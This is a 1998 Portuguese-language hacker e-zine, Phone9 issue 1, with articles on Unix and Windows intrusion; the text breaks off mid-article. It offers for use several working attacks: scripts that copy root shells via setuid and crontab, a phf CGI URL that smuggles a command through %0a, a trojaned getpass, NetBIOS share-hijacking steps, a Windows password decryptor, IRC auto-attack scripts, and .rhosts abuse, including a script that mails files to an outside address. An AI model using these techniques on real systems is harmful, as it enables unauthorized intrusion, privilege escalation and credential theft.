               [P9] - The Phone9 Communications Inc - [P9]

		         _____                     _____
     	              /  _  \/\  /\__   /\  /\__/  _  \
                    \  ___/ /_/ / _ \/  \/ / _ \__  /
	               \ \ / __  / /  / /\  /  __/ / /
	                \/ \/  \/\___/\/  \/\___/  \/ 
		    [ The Phone9 Communications Systems Inc ]
....												....
Phear Yer Phone, 01 de setembro de 1998. 
edicao no.01| phone9@phone9.org	
[P9]  [P9]

 .............   
 / / \/\/\ / | \ .[ Phone9 - kicking the root down, since 1998|MADE IN .BR].
/ ---/   / \__ / .[ Pagina oficial - http://www.phone9.org                ].
\/ho \/\/e   \/  .[ editor-in-chief - bloodroot|bi0tek - blood@phone9.org ].


	  			    [The Phone9.]
				  [communications.]
 				    [Systems.(c)]
			
			Editor-in-chief: the blood root|bi0tek
			      Co-editor: Phineas Phreak & Shad0w
			         layout: puruca
		    relacoes publicas: Autoridades maximas 'papai e mamae'
	      The man with the plan: Keyser Soze a.k.a Cripple
               network operations: f0rce Str1cker		   
			      webmaster: bloodroot
		              founder: The blood root & the dert
			    grafix dude: aSMa-Lag & bloodroot
		        Askii efektiz: aSMa-Lag , blood root & Puruca 
				    31337: Pr0digy|Offspring| Rage Against...
				 fuck j00: Master Of Shame (0opss!! Shadow)
				    0wn3d: telnet.com.br | elogica.com.br | ucsd.edu

Escritores: kkkk, the blood root, phineas phreak, acid branch, SEkr4t7, dert
primal phear, sp1n freak, X-ploiter, bi0haz4rd, phone'warper, Marcelo Myara,
cybergirl, lord byron, bytetricker, DeAd_Po0l, MaNdRaCk, Phantom Phreak,
Soul Spy, Telephreak, Tom Waits, Rider Bloody, Thunder^t, mem-keeper, pr0c,
Franz Kafka, Marcos Myara, Sy0ckS, aSMa-Lag, x1p, sm0g, cacaio

Sistemas 0peracionais: Linux Red Hat 3.0| no wind0ze
fundo musical: know your enemies - r.a.t.m.|smack my bitch up - pr0digy 
broadcast: Microsoftz.com | puruca.com.br | phone9.org | phuck.org

		     ==[ v1.0 ]==[ .index.archivies ]==
                       (c) 1998, productions.


   1:. .phone9.sp0ts.		 
   2:. Mais nocoes idiotas em setuid
   3:. Tecnicas sado-masoquistas em windows
   4:. Unix hack 0.00, licoes para quem ficou reprovado
   5:. SunOS pre-loaded buggy
   6:. PCS, Personal Communications Systems
   7:. Detonando o cyberpatrol
   8:. re-escrevendo arquivos de sisteam com VBzkripts
   9:. Guia de seguranca em servidores WN-1.17
  10:. backdoor cracker [bc20], tecnicas anais em sistemas linux
  11:. Apache Web Server Guard - by bi0tek
  12:. Phone9.Sekurity advisories... Em caso de panico quebre a janela
  13:. Crackeando sistema No Trust - by X-ploiter
  14:. Sekurity tools!!!
  15:. Exploitacao por meio de CGIs - Parte I
  16:. Apache Web server bugs
  17:. Teste de vulnerabilidade em contas hotmail
  18:. Falhas em extensoes HTML .ASP...
  19:. The Phone9 communications, departaments.
 
	quotas.:
	 O que deus fazia antes de contruir a terra? - Shoo w0ng
	 When!? Today? Tommorow? We were there yesterday - phear 10t3k
	 You can make people buy shit, if you sell it right - Bill Gates
	 Dammit.... Not again!!! - Ruindows95/98 users

		             --> ph0ne9.0rg <--	

phone9@phone9.org - Qualquer reclamacao, artigos, comentarios, mailbombz, 
                    e ate' fuck j00...


[P9]  	                                                            [P9]
 Ŀ
 1 - .ph0ne9.sp0ts									 
 Ŀ  by Blood Root   
                                                      ٰ

   Bem vindo a mais uma edicao da Phone9, espero que voce tenham gostado da
   outra edicao pois nos adoramos faze-la (provavelmente... ;)), nesta nova   
   edicao,  nos iremos  colocar  mais informacao  nao tao seguras  ;) Com a 
   ajuda de varios novos membros e escritores acho que desta vez a zine vai
   de vez com todo o pessoal que nos esta ajudando, acho que devemos chegar
   a algum lugar, talvez...   Pedimos desculpa pela demora que a zine  teve
   para lancar a segunda edicao, pois nos ficamos escrevendo artigos para a
   zine, e se nos podemos dizer assim, nos temos uma vida pessoal tipo sexo
   festas, redes, trabalhos, escolas....  Nos  tambem ficamos desenvolvendo
   ferramentas para o  seu  administrador, e o  seu hacker-guru  preferido,
   entao nao fique nos culpando pelo atraso da zine, pois eu tenho um monte
   de desculpas, iguais as que eu uso com a minha quando chego  atrasado na 
   aula ;)

	- Abducao alienigena, provavelmente um dos mais sequelados foi o 
	  computador do Phineas, coitado...  Veja o codigo abaixo e veja 
	  a verdade sobre axur, phineas e outros...

5b=10
10 popup quit b:popup sleep using ems "c:\alienintruder"
30 b=b-1:delay 1:locate int(rnd(1)*23+1),(int(rnd(1)*70)+1),1
35 if b=1 then let b=10; print "Eu sou um alien axuriano tentando se 
   comunicar com voce"
60 goto 10

	  Compile o programa com Power Basic 3.0 e deixo-o rodando na 
        casa do wizard (M.O.S) ou entao de outro lamer da vida...
	  Sera a invasao alien??? 

PS: Depois da aula sado-masoquista da mae do Phineas, ficamos todos fudidos
    principalmente o Puruca ;)

		Mas agora falando serio, a Phone9 atrasou basicamente por que 
		nos somos meio lerdos, e nos  tivemos uma serie de  problemas
		com o pessoal daqui do rio, principalmente a  telerj, que  so
		nao prendeu o dert, porque ele conseguiu fugir a tempo. Entao
		nos temos uma penca de problemas, desculpas e ainda por  cima
		prisoes??? What fuck is going on with this crazy w0rld, dude!


	Esta edicao da Phone9, vem cheia de surpresas, parece um programa do 
	ratinho ;) E' claro que sem o caso da invasao alien na axur...   Nos
	pegamos varios artigos de varios karinhas estranhos, muito estranhos
	e tacamos tudo junto, fazendo aquela meleca de sempre, os novos P9rs
	escreveram poucos artigos (eu acho que eles ainda nao se acostumaram 
	direito com os nossos habitos... ;) Mas todos contribuiram na medida  
	do possivel para a zine, assim voce pode contemplar diante dos  seus
	olhos a nova edicao da Phone9.
	Um pequenos fuck you de todos nos para o sistema, e um pequeno  fuck
    	off de todos para nos, entao vamos na punheta ate' a ejaculacao pre-
	coce passar!!!

O que um dia ja foi um exercicio intelectual sem nenhuma intencao maliciosa
hoje  em dia e'  mais que o  suficiente para botar  dinheiro no bolso de um 
promotor de merda. Agora pense bem... Antes nos sem intencoes maldosas,  do
que outros com verdadeiros truques terroristas! [MOD]???
Mas por onde devemos comear? Durante  nossos estudos para fazer esta zine, 
organizamos o  conjunto de   conhecimentos de  hackers mais inteligentes de
todos  os  continentes,.   Como resultado,  coletamos   informacoes que  se 
confirmam, se contradizem ou ignoram algumas anotacoes.Se tivessemos cedido
aos nossos anseios iniciais, de simplesmente  contar tudo que  escutavamos,
esta zine seria dez vezes maior do que e' e nos ainda a estariamos fazendo!
Portanto, o que fizemos foi escolher os assuntos que, a nosso ver, oferecem 
a visao mais clara do hack, phreak deste mundo. Ha muita coisa que omitimos 
- embora relutassemos em faze-lo - e muitas  coisas foram  atenuadas, mas o
nosso destino e' o mesmo, e sempre sera o mais proximo  possivel, pois  nem 
tudo que te dizem e' verdade... 
Lembrem-se:  A verdade esta la' fora, aqui dentro so tem mentira... ;)
  
	Agora, stand and relax, e leia a zine com atencao... e aproveite a
	sua insignificancia, enquanto pode... 

      .[bloodroot.
  - blood@phone9.org -
   " I am weirdo!!! "
 Ŀ
 2 - Mais nocoes idiotas em setuid						       
 Ŀ  by Blood Root   
                                                      ٰ

 
	So' para completar a materia da outra edicao sobre suid bug's, eu 
	resolvi lavar a mao, explicando mais um pouquinho sobre setuids no
	unix, e mais tecnicas milaborantes ( olha, que palavra escr0ta )!!!
		 Entao. Que venham los bugados...

Setando programas para setuid:
chmod +x /arquivo

Retirando o atributo setuid do programa:
chmod -x /arquivo

Executando scripts cgi, sobre a uid do dono do processo:
Vamos tomar como exemplo o servidor apache , que armazena os cgi's no direto
rio /home/httpd/cgi-bin/, tambem tomamos como exemplo o phf.cgi. Agora vamos
no /home/ftp/incoming/ ou /tmp e colocamos este script la':
...
#!/bin/csh
#(c) cgi abUser - by b_root
if [ whoami != root ] then
echo "Voce obte-ve root no sistema"
/bin/cp /bin/csh /tmp/rootshell
echo "Execute /tmp/rootshell"
else 
	goto noroot
fi

noroot
/usr/bin/id # Mude o necessario...
/bin/cp /bin/sh /tmp/stupid-b1tch
echo "Execute /tmp/stupid-b1tch"
...
E' claro chmod a+x /tmp/cgiabuser
Agora simplesmente digite este endereco, e deixe que o script faz o resto:
http://jackass.com.br/cgi-bin/phf?Qalias=x%0a/tmp/cgiabuser

Identificando o dono do arquivo:
ls -l nome.do.arquivo
Procure pelo nome na 3 coluna.

Identificando se esta ou nao setuid:
Se quando voce der ls no seu diretorio, voce encontrar algo assim:
...
Permissoes  uid  user     grupo           tam.  mes  dia  hora  nome
----------  ---  ----     -----           ----  ---  ---  ----  ----
-rwxr--s--   1   hacker   hackerusers     1234  Aug  09  00:00  phuck
...
Se --s-- existir, entao o arquivo e' setuid.

Rede de suid:
Esta e' boa, fazendo uma rede de suid...
hack:/home/hack> touch blah
hack:/home/hack> cat blah
#!/bin/sh
#blahblaum
/bin/cp /bin/sh /tmp/phuck
chmod a+x /tmp/phuck
hack:/home/hack> ln -i /home/blah /bin/sh
hack:/home/hack> exit

Agora, qualquer um que executar o /bin/sh ou /home/blah, tera 
automaticamente a sua shell copiada para /tmp/phuck...

Falando Csadamente:
#include <stdio.h>

char *getpass(const char *prompt)
{
	printf("Phone9 Sux, even s4x know this");
	printf("Exemplo de suid shell em C ");
	printf("Voce ja' tem shell!!!\n");
	fflush(stdout);
	system("/bin/cp /bin/sh /bin/suidshell");
	system("chmod +s /bin/suidshell")
}

Kernel ev1l:
Enquanto a kernel esta loudando o /bin/sh , voce coloca outro programa
no lugar daquele. 
%nice -19 suidprog ; ln -s evilprog suidroot

Adicionando comandos no crontab:
Esta e' bem simples, voce adciona esta linha no arquivo do a seguir:
/var/spool/cron/crontab/root :)
...
2 2 * * *  cp /bin/sh /tmp/fuchs 
...
Entao a partir da 2:00 da manha, voce tera root no sistema, executando
/tmp/fuchs
	
The blood root
Mais nocoes estupidas em setuid...
reg(c) 1998, productions

 Ŀ
 3 - Tecnicas sado-masoquistas no windows				       
 Ŀ  by Primal Phear   
                                                      ٰ

	Bom, o intuito deste texto eh acabar de vez com as tecnicas lamers, de
	como se invadir um computador win95, uma vez q este esta conectado na
	internet, este texto inclui tecnicas vivas e ativas, q funcionam hoje
	em dia, e tbm inclui um arquivo explicando por quer algumas tecnicas
	difamadas pela galera nao funcionam..... e mais algumas tecnicas em
	windowsNT e Internet Exploder. Agradecimentos ao pessoal da W3b 
	Hackers e bi0haz4rd em especial, e ReNeGaDe da TDK...

		I.)     filesharing bug
		II.)    Ataque nbtstat
		III.)   ripando password do BIOS
		IV.)    password do windows
		V.)     programa decriptador de passwords
		VI.)    Password do screen saver do windows
		VII.)   Winhack Gold, irc attack para windows95/nt/98
            VIII.)  Verdadeira tecnica de invasao por IP - ReNeGaDe

I.) filesharing bug

	0kay, entao a pouco mais de um ano, um grupo brasileiro, chamado
	BHC (brasilian hackers club), lancou um documento explicando certas
	vulnerabilidades na conexao via rede dial-up na internet, o documento
	fez um tititi na internet toda, funcionava ou nao? Teoriacamente este
	bug jah fazia parte do win3.x na hora q ele comecou a se adaptar para
	a internet.
	Em todo o caso, acredito q todo mundo jah deve ter lido este documento
	quem ainda nao leu ai vai:

:>[ Invasao por IP ]======================================================<:
Invaso por IP - por LiquidByte (BHC)


	Alegria de uns, tristeza de outros, na verdade, aqueles que 
utilizam a rede Dial-Up do Win95 para sua coneco com a internet podem 
estar correndo srios riscos a no ser,  claro, que assim conectam-se 
propositalmente, com intenes "diversas".
      Utilizar-se de uma coneco PPP do Win95 num provedor de acesso, 
significa estar disponibilizando seu computador a todos os usurio da net. 
Mesmo sem o compartilhamento de arquivos, existem diversas ferramentas que 
permitem a outra pessoa conectar-se ao seu computador caso voc esteja 
utilizando esse tipo de coneco.
      Conecte-se  Internet utilizando a rede Dial-Up do Win95. Se o seu 
provedor no disponibilizar uma coneco do tipo PPP, estas dicas no 
funcionaro. Verifique antes, se voc possui os drivers clientes para redes 
Microsoft. Caso no estejam instalados, instale-os atravs do Painel de 
Controle, no cone Redes.
      Verifique tambm se o compartilhamento de Arquivos e Impressoras est 
instalado.
      Se estiver, voc estar sujeito  que outra pessoa conecte-se ao seu 
computador simplesmente sabendo seu IP.
    Se bem que, para aqueles que j sabem, existem mil maneiras diferentes 
de se "burlar" a fraquinha segurana do Win95. Para voc poder encontrar 
outros computadores compartilhados, voc deve configurar WINS e LMHOSTS. 
	O WINS  utilizado para localizar os computadores com IP fixo. O 
LMHOSTS,  acionado automaticamente na procura de computadores que possuem 
IP dinmicos.
	Configurar essas opes  simples. V ao Painel de Controle e abra 
Rede. Verifique as propriedades do protocolo TCP/IP. Al voc encontrar a 
opo para ativar a  resoluo WINS. No caso de voc no conhecer nenhum 
servidor WINS, utilize  204.118.34.6 como primrio e 204.118.34.11 como 
secundrio. Esses servidores so dos USA, e gratutos. Caso queira outros 
endereos, utilize um dos mecanismos de busca na Internet. Para configurar 
o LMHOSTS, voc precisa criar um arquivo texto simples, utilizando-se at 
mesmo o Bloco de Notas do Windows. O arquivo criado deve chamar-se LMHOSTS. 
 nesse arquivo que ficaro os endereos de IP e os nomes dos computadores 
que voc ter acesso. Para localizar um determinado computador, voc digita 
o seu nmero de IP e a seguir seu NetBios, na mesma linha, separados por um
espao. Se voc executar o programa NESTSTAT, seguido da opo -N, voc 
obter essa lista, com o nome e o IP de seu computador sempre sendo o 
primeiro da lista, seguido das outras mquinas disponveis, tudo numa 
janela DOS. Atravs do Explorer voc poder ver os computadores disponveis 
na rede,dos quais voc ainda poder utilizar os discos mapeando-os, o que 
os tornar unidades de seu computador.
:>[ Invasao por IP ]======================================================<:

	Okay, entao vamos analizar a tecnica q ele explica, ele afirma q se 
	voce adaptar manualmente um computador a sua rede windows95, e este
	utilizar um sistema de compartilhamento mal configurado , permitindo
	q outras pessoas utilizassem a sua impressora e seus arquivos 
	remotamente, como isto eh uma opcao oferecida pela microsoft eh 
	problema do nerd do bill gate$, mas em todo o caso, existe um serio
	problema neste ataque... Nao se eh possivel se adaptar um computador
	remotamente a sua maquina, sem q este esteja em rede direta com voce.
    	Ou seja, ou voce adciona o computador descentemente e nao em uma lista
	de host confiavies (.rhost aka LMHOSTS.SAM), por exemplo o sistema de
	gerenciamento de rede da IBM, NAT.EXE. Eh a ferramenta NET.EXE, por
	meio destes programas voce podera invadir o computador de alguem via
	Internet nao desmerecendo a tecnica do liquidByte, q pode ateh 
	funcionar, mas com os testes q eu ja' havia feito, nunca funcionou.

II) Ataque nbtstat

	Esta tecnica e' bastante conhecida, mas para quem nao sabe....

1o. Passo: Procure um computador em rede, utilizando o windows95 como 
           sistema operacional.
2o. Passo: achado um, passe um port scanner nele e veja se a porta 139 esta
	     aberta.
3o. Passo: Depois digite em um prompt do MS-DOS o seguinte comando:
		'nbtstat -A xxx.xxx.xx.xx' Onde os xxx e' igual ao IP do kara.
	
		Caso tudo corra bem, voce devera ver uma tela assim:

   NetBIOS Remote Machine Name Table
 name                Type        Status
----------------------------------------
^PHONE9        <00> UNIQUE   Registered
PPHEAR         <00> GROUP    Registered
^BLOODR        <03> UNIQUE   Registered
MAC Address = 44-45-53-54-00-00
	
4o. Passo: Lembre-se do primeiro UNIQUE. Anote-o em um papel ;) 
5o. Passo: Edite o arquivo C:\WINDOWS\LMHOSTS.SAM. Coloque dentro do
	     arquivo a seguinte referencia:
		'xxx.xxx.xxx.xx ^PHONE9' e salve o arquivo.
6o. Passo: Digite 'nbtstat -r'. Para reconhecer o novo computador na rede.
7o. Passo: Acesso a iniciar->localizar->computador->nome do UNIQUE.
	E voila, voce devera ver um icone, clique duas vezes sobre ele e 
	pronto voce jah tem aquele computador na sua rede.

III.) ripando password do BIOS

Para quebrar o password do BIOS voce pode se encontrar duas situacoes:

1- Se voce pegar o computador depois que o password foi passado corretamente
use um desses programas:

      amipsw.com       (230b)
      ami.com          (555b)
      aw.com           (1,83k)
      amidecod.com     (1,79k)

2- Se voce pegar o computador desligado ou esquecer o password:

      - Ligue o micro e entre o setup;
      - Anote TODOS os dados em um papel;
      - Desligue e abra a CPU;
      - Ache uma bateria na motherboard e retire-a;
      - Espere uns 20 minutos e recoloque a bateria;
      - Ligue o micro novamente e entre no setup;
      - Re-configure todos os dados que voc anotou. 
( tecnica por AcidMud )

IV.) Password do windows

	O win95 e' tao merda, q chega a dar pena, quando voce entra no windows
	o minimo q o tio bill fez foi clocar 'bem vindo ao windows digite sua
	senha:' Para nos Uebhacker, isto nao e'tao problema, entao voce tenta
	aperta o 'ESC' e derepente voce entra no sistema, sem problema, tbm se
	voce apertar 'crtl+alt+del' voce pode fechar a funcao 'logon' do siste
	ma, assim voce entra sem problema.

		Mas oq muitos raquers nao veem e' q, existe um sistema chamado 
		'DESKTOP LOCKER', do qual somente as pessoas q tem a senha certa
		do login, tem acesso ao verdadeiro desktop do cara, o q nao impe
		de voce verificar alguns registros no sistema e facilmente
		quebrar esta estupida protecao, uma vez tendo acesso ao painel 
		de controles, voces sabem o q devem fazer ;p


V.) Programa decriptador de password do windows

	Esta e' velha e foi tirada do documento alt.2600 FAQ by voyager, mas o
	codigo fonte foi feito por Wayne Hoxie.
/* Este e' o codigo, compile em unix e rode no /DOS/windows/, ou entao 
   mude um pouco o codigo e faca uma adaptacao para o windows */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int xor1(int i,int j)
{
  int x;

  x=i^j;
  return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
  FILE *f;
  int i,l;
  char s[80],s1[80];

  printf("Entre o caminho para o diretorio do windows\n");
  gets(s1);
  sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
  if((f=fopen(s,"rt"))==NULL){
    printf("File Error : %s\n",sys_errlist[errno]);
    exit(0);
  }
  while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
  fclose(f);
  strtok(s1,"=\n");
  strcpy(s,strtok(NULL,"\n"));
  i=strlen(s)-1;
  for(l=i;l>-1;l--)
    s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
  for(l=0;l<i+1;l++)
    s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
  printf("O password e': %s\n",s);
}

E o reverso, encriptando arquivos com x0r:

#include<stdio.h>
main()
{
int c;
while((c=getc(stdin))!=EOF)
{
        c=c^9;
        putc(c,stdout);
}
}

VI.) Password do screen saver

Para retirar o password de Screen Saver do Windows 3.x voce deve editar
o arquivo control.ini, apagando tudo o que tiver na area do password.

Para retirar o password do Screen Saver do WIN95, renomeie todos os arquivos
de extensao .pwl do diretorio do windows. Anote os nomes alterados em um 
papel para eventuais problemas.

Para desligar o screen saver sem ter o password no win 3.1 (ainda nao
foi testado no 3.11 ou no WIN95), aperte ctrl+alt+del e enter varias vezes
que o screen saver sera fechado.

VII.) Winhack Gold, irc attack para windows95/nt/98

	
	Okay, entao voce esta de saco cheio de teardrop? jolt? jont?
	Entao, voce vai adorar esta, o primeiro passo e' pegar o seu
	IrcII ou bitchX ( que alias possui um otimo buffer overflow,
	explicado na nearz07.txt (www.cyberspace.org/~nearz) visite
	agora mesmo!!!! ;)) Entao, que tal invadir o computador dele,
	sem que este perceba? Sem nenhum truque estupido... Just pure
	C code!!! Compile o codigo que vem no .zip "gcc winhack.c -o winhack"

winhack -d 200.233.232.x -o Scan  -b
--- Scaneia os host win95,winNt e Win98 que sao vulneraveis...
winhack 
--- roda o programa
winhack -d 200.255.46.x
--- Define a classe subnetC que voce ira scanear....

-o = Arquivo de Output
-b = roda em background ( & em linux )

Para adciona-los para o irc faca o seguinte:
Coloque no script.ini:
[script]
n0=on 1:DNS: {
n1= set %killaddr $iaddress
n2=run \\ $+ [ %killaddr ]
n3=} 

	Agora rode /dns nick, e este estara testando a vulnerabilidade do 
	cara!!! Agora edit o popup.ini e coloque estas linhas:
n23=Exploit:/dns $$1
n24=ExploitAll:/alldns

Scaneia todos os dns do canal!!!!
---------------------------------
Edita o aliases.ini e coloca isto:
n15=alldns {
n16=set %total $nick($active,0)
n17=:start
n18=dns $nick($active,%total)
n19=dec %total
n20=if %total == 0 { halt }
n21=goto start

	Pronto, agora hack and g0!!!!

Para se proteger....
--------------------

		E' simples, vai no menu iniciar -> configuracoes -> Painel de
		controle -> redes!!! Clique em clientes para rede microsoft,
		caso voce nao tenha este cliente, deixe-o como esta, nao vale
		a pena instala-lo somente para ser hackeado!!! Selecione
		efetuar logon em dominio NT e logo embaixo, efetuar logon e
		restaurar conexoes de redes [blah..blah...blah...!] Da' [ok]!
		E logo depois, clica no botao compartilhamenteo de arquivos e 
		impressoras: E deselecione as opcoes "Desejo que outros usuarios
		tenham acesso aos meus arquivos" e "desejo que outros usuarios
		tenham acesso a(s) minha(s) impressora(s). Ou entao outra versao
		bem mais facil de se resolver o problema...
--- 
ren c:\windows\systems\vnbt.386 vnbt.bak
---
del c:\windows\systems\vnbt.386

Agora que voce esta seguro temporariamente, vamos esperar pelo patche da 
microsoft.... Se existir um!!!!

Os codigos estao no .zip da zine, enjoy!!!!!!!!!!

VIII.) Verdadeira tecnica de invasao por IP - ReNeGaDe

Hi All! Sou ReNeGaDe e na ultima zine TDK nao fiz uma materia interessante
mass nesta me inspirei espero que gostem. Antes de iniciar, quero deixra bem
claro que nao tenho nenhuma responsabilidade do que pode acontecer se
executado o procedimento citado, pois qualquer coisa que venha a acontecer
eh problema todo seu.
Vamos lah primeiro este metodo de invasao pega no Win NT e o 98B tambem. 
Para pegar no Win 95 tem que estar, com as atualizacoes feitas mas nao 
garanto que funcione. Vamos ao que interessa que ganhamos mais!

1o - Metodo de INVASAO:

Basta voce executar esta pequena linha:

net use * \\ip_da_vitima\C$

2o - Como proteger sua maquina:

Se voce nao notou o C$ eh o compartilhamento padrao nos Windows para 
proteger ja sabe nao?!? Basta apenas modificar este compartilhamento!
Agora voce nao sabe modificar o compartilhamento voce eh belo de um FDP mais
tudo bem vai no Internet Explorer botao direito do mouse escolhe ah opcao
compartilhamento e PRONTO! Modifica.

3o - Uma observacao bem interessante:

Para que voce possa invadir e ser invadido seu computador tem que esta confi
gurado para ser usado em REDE, quer dizer nos Win NT e 98B eles concerteza 
ja estao no 95 pode nao pegar porque simplesmente muitos deles nao estao 
configurados para ser usados em REDE. Caso nao pegando no Win 95 com a REDE
instalada feitas atualizacoes e etc. Entao instala o NT porque pelo menos e
um windows que dah pro gasto.


          Eh isso ae pessoal aqui se encerra mais uma materia da TDK!

        Se  tiverem interesse  em  tirar  duvidas ou  apresentar  novas
  ideias, aqui estah o meu email. Mais sem babozeiras hein pessoal vamos
  ter um bom senso pois nao sou desocupado.

         cya l8er!

                             ReNeGaDe@DeathKnights.com

NOTA(feita por Cacaio): Bem, lembremos que isso so' funciona se voce estiver
no win. Infelizmente nao da pra fazer o mesmo em unixes e sabores, mas tbm
em unixes nao se e' vulneravel.
           -- TEXTO POR ReNeGaDe - renegade@deathknights.com --
----------------------------------------------------------------------------
Primal Phear - Windows Hacker Guide
(c) - phear@phone9.org
---[ Com a ajuda de.... ]---
8x8> the blood r0o7 -> how long? not long, couse no lie can stand soo long
reg - (c) 1998, productions
[talk to my lawyer!!!!]
 Ŀ
 5 - Unix hack 0.00, licoes para quem ficou reprovado...                
 Ŀ  by bloodroot  
                                                         ٰ

The Unix hackers guide 0.00
by The blood root

[00] - Prefacio
[01] - Hackeando estupidos .rlogin
[02] - ls backdoor



[00] - Prefacio:

	Badab0m, esta vai para aqueles q querem saber mais sobre dicas 
	estupidas de como se hackear um sistema unix, eu pretendo lancar mais 
	dicas estupidas para pessoas q perdem o tempo lendo esta merda.... 
	Entao como esta eh a primeira edicao, eu acho melhor comecar pelo 
	principio basico da maioria dos sistemas, eh claro quando existe 
	algum admin tao burro a ponto de deixar o .rlogin funcionando no 
	sistema. Depois vem mais uma tecnica, esta jah eh mais simples, 
	ls backdoor, e' muito pouco tecnicas, mas se bem feita, pega o sistema
	inteiro de pernas pro ar, e provavelmente este estara sem calcinhas...
	tecnicas maneiras de como realmente fazer alguns admins ficarem pasmos
	com a sua falta de experiencia em tipos de ataques, entao vamos para o
	guia mais lamer sobre como hackear unix.... ;p 
	
		"What kevin mitnick is about is creating a mythology of a"
		"hacker threat and using that threat to expend the government's"
		"statutory authority and increase it's wiretappin' capabillity"
		"Find me an induvidual who was hurt. Find me a company that was"
		"hurt. The most you can say is that some companies had to close" 
		"security holes......... and arguably they would have had to do"
		"anyway" - Mike Godwin, staff do Eletronic Freedom Foundation.

	entao, vamos comecar com este manual, antes q eu perca meu tempo com
	outra coisa....
						- regards, 
						The blood root - blood@puruca.com.br


[01] - Hackeando estupidos .rlogin
	
	Okay, entao voce passou 30 dias procurando um servidor vulneravel a
	'statd', e de repente bewm.... achou um, digamos pentagon.gov (uauh?)
	pena q depois dos rackers enfercores eles fecharam a falha de 
	seguranca. (DROGA EU PODIA TER IDO NA TV POR CAUSA DE UM ESTUPIDO BUG)
	Bom, deixa para lah.... eu tento agora o umount bug, otimo, achei um
	logo de cara, e quem diria SOL (Stupidos On-line). Agora, eu consegui
	root no sistema deles, mas infelismente eu ia sair para o fun club em
	mais uma 2600 meeting's , entao eu vou tentar colocar um pequena 
	backdoor lah, e de repente, dentro do /home/silsantos/, eu acho um 
	arquivo .rhost para a concorrencia globo.com.br, sera uma conspiracao?
	Acredito q nao, provavelmente alguem deve ter deixado aquilo ali, do
	jeito q aquele merda do silvio santos eh tao burro, ele nem saberia
	como usar um ruindows (arrrrrggggggg...... ;)). O caso eh q dentro do
	/home/silsantos/ eu acho um .rhosts, bom para mim,  vou chegar na hora
	pra 2600 meeting.

	Entao, lah vamos nos, primeiro precisamos saber o q eh um arquivo 
	.rhost?!?! Entao.... Explicacao oficial: Arquivo permite conexao a 
	outros sistemas pre-determinados no arquivo, assim ao se conectar por
	rlogin, ele nao requer password, mas vez q somente o username eh o 
	suficiente. Explicacao nao-oficial: Hackin'toolz, serio, sem 
	brincadeira, imagina voce tem um arquivo q permite voce se conectar a
	um computador sem qualquer password, somente utilizando como seguranca
	apenas um username, q eh especificado no nome do diretorio dele 
	(/home/user) , ou entao no /etc/passwd, e em varios outros arquivos do
	sistema, seja como for, vamos exploitar este coitado do .rhost .

		Okay, entao para se exploitar arquivos .rhosts, eh bem simples,
		primeiro, eh necessario se saber para qual sistema o .rhost esta
		setado, um simples cat /home/blood/.rhost pode resolver isto,mas
		depois disto basta digitar esta linha de comando na sua shell:
		rlogin -l blood blood.phone9.org e pronto voce estah dentro do
		sistema, considerando q:
		
		rlogin = comando necessita dos daemons rlogind e rshd (as vezes)
		-l     = Argumento necessario para especificar a opcao -login no
			   comando todo....
		blood  = username, mude isto pelo username do cara q tem o 
			   .rhost no sistema dele.
		blood.phone9.org = Host do qual voce tem acesso .rlogin no 
					 sistema.
		/bin/sh -i = Comando para ser executado dentro do servidor, por
				 mudar desde /bin/sh para rm -rf / (nasty, ham?)
		
	Limpando o caminho:
	-------- - --------

		Otimo, como voce jah deve ter imaginado como eu posso fazer um
		"ataque" .rhost sem deixar vestijos?!?!?! Bom, abaixo vao 
		algumas tecnicas q podem aliviar um pouco o seu caminho, 
		ajudando a sua sobrevivencia no sistema:

			1. Este limpa o arquivo .rhost logo depois de voce se
			   logar no sistema:
		----------------[ .rhost lixeiro ]--------------
		#!/bin/sh
		#(c) the blood root
		$PATH= #coloque o diretorio do lamer
		$USER= #coloque o user do lamer
		$SYS=  #coloque o sistema para qual o rhost deve ir	
		echo ".rhost lixeiro"
		echo "Phone9 0.01 - www.phone9.0rg"
		touch /tmp/.rshell
		/bin/cp /bin/sh /tmp/.rshell #shell no /tmp/.rshell
		cd /
		cd $PATH
		rhost -l $USER $SYS /tmp/.rshell
		cd $PATH
		mail blood@microsoftz.com </tmp/.rshell /$PATH/.rhost 
		#brincadeira de mau gosto....
		touch /tmp/.rnewhost
		/bin/cp /bin/sh /tmp/.rnewhost
		rm $PATH/.rhost
		echo "Phear yer backdoor is done..... sem ninguem e nada"
		#EOF
		----------------[ .rhost lixeiro ]--------------
		
		Um prototipo de script, voce tem q fazer tudo praticamente 
		manualmente, mas valeu a tentativa...

		
		Agora, vai uma bem legal.... Eh mais um script q procura por
		arquivos .rhost, server para os dois lados, o seguro e o 
		inseguro, ai fica poor sua conta usa-los ou nao...
		----------------[ .rhost seeker.sh ]----------------
		#!/bin/sh
		echo "Checando por .rhost no seu sistema inutil e inseguro"
		echo "brincadeira...... ;p"
		echo ".rhosts file scan:" >> ~/.rhost.resultado
		echo "" >> ~/.rhost.resultado
		find / -name .rhosts -print >> ~/.rhost.resultado
		echo "chekout ~/.rhost.resultado e veja merda de seguranca q vc"
		echo "tem no seu computador.... aprenda mais sobre unix-fu ;p"
		----------------[ .rhost seeker.sh ]----------------

		Tbm, existe um meio de tornar mais faceis as .rhost de serem 
		executadas por qualquer um, usando um esquema parecido com o 
		do suidroot, entao veja:
		----------------[ .rhost suidroot ]----------------
		#!/bin/sh
		$RHOST= #coloque o caminho para o .rhost, /xxx/xxx/.RHOST
		echo "-------------------------------------------"
		echo "SUiD r0ot em .rh0sts files... paga pra ver?"
		echo "-------------------------------------------"
		chmod +s $RHOST
		echo "d0ne.... phear yer hacking is done"
		----------------[ .rhost suidroot ]----------------

		Acho q isto jah basta para voces na hora de executar os .rhosts
		em sistema inseguros por ai... ;p


[03] - ls backdoor

	Esta realmente eh muito boa, eh praticamente perfeita, com uma certa
	inteligencia e esperteza, voce pode instalar esta pequena backdoor em
	qualquer sistema e em qualquer diretorio q voce quiser, e se ainda 
	estiver com problemas utilize um dos scripts abaixo para facilitar a 
	entrada do script no sistema.

		Otimo, entao ai vai o codigo do script com as devidas intrucoes,
		voila e enjoy... ;) nomeie o arquivo como ls...
